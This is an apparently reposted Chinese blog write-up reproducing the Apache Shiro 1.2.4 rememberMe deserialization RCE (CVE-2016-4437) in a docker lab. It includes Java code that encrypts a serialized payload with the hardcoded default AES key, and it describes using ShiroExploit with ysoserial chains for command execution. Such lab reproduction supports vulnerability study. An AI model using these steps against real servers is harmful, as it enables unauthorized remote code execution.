Java--Apache Shiro反序列化RCE--CVE-2016-4437
Posted Erichas
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java--Apache Shiro反序列化RCE--CVE-2016-4437相关的知识,希望对你有一定的参考价值。
0x01 漏洞环境
搭建环境:
docker pull medicean/vulapps:s_shiro_1
重启docker
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
shiro框架它提供了Remeberme的功能,登录的时候勾选,成功登录就会生成经过加密的cookie
服务器收到cookie会进行 base64解码-->AES解密-->反序列化(readObeject).
那么我们可以构造一个带有恶意命令执行的链子来序列化后-->在通过AES加密-->base64编码,附带在cookie上发送过去,这样就能rce了。
0x02 漏洞分析
首先是要得知AES的密钥是什么,在shiro1.2.4及之前的AES密钥都是采用的硬编码(意思就是说密钥被写死在代码里面,是固定的),那么如何得到密钥呢?
这篇文章通过看代码得到一个姿势,也就是说cookie中传入正确的加密字段,服务器就不会返回这个deletme,传入错误的就会返回。
比如这里登录root
这里返回的rememberMe是通过它本身登录信息通过AES加密、base64编码出来的用于保存用户登录信息。
如果直接任意输入登录访问,可以看到rememberMe返回的是deleteMe
如果带上按照正确密钥加密的cookie,就没有返回deleteMe (下面的post表单不影响,可以直接删除,只要是正确密钥的加密过程)
简单过程就是先构造符合条件类的序列化对象,通过看代码分析 该类SimplePrincipalCollection满足条件
执行得到序列化该类的代码poc
然后poc进行正确的AES加密 和base64编码,正确的AES key就不会返回deleteMe
这里给出一个aes加密(注意需要在maven导入环境)
import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.codec.CodecSupport; import org.apache.shiro.util.ByteSource; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class DecodeAES public static void main(String[] args) throws Exception byte[] payloads = Files.readAllBytes(Paths.get("E:\\\\test\\\\poc")); AesCipherService aes = new AesCipherService(); byte[] key = Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString());
<dependencies> <!-- Shiro核心包 --> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>taglibs</groupId> <artifactId>standard</artifactId> <version>1.1.2</version> <scope>runtime</scope> </dependency> </dependencies>
然后将得到的加密结果在base64编码 发送过去就行了,没有deletMe返回
0x03 漏洞利用
现在能猜测出正确的AES密钥,就可以通过可利用链来就行构造了,这里使用了好兄弟给的一个工具,十分好用
这里工具也是要配合 ysoserial来使用的(这就是各种反序列化链子命令构造的king)
测试出所用的key,并且测试出cc2链可用
直接可以命令执行
创建文件
不过有些遗憾的是我直接用他内置的反弹shell失败了,用命令执行来直接反弹也没成功~~
简单总结一下,所谓的shiro反序列化问题不是它本身存在调用链子,
而是它引用一些第三方库,比如cc库,其中cc库就存在1~10条链子。
工具就会测试多个链子来尝试
参考工具链接:
https://github.com/feihong-cs/ShiroExploit-Deprecated/tree/v2.51
参考链接:
https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg
以上是关于Java--Apache Shiro反序列化RCE--CVE-2016-4437的主要内容,如果未能解决你的问题,请参考以下文章
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现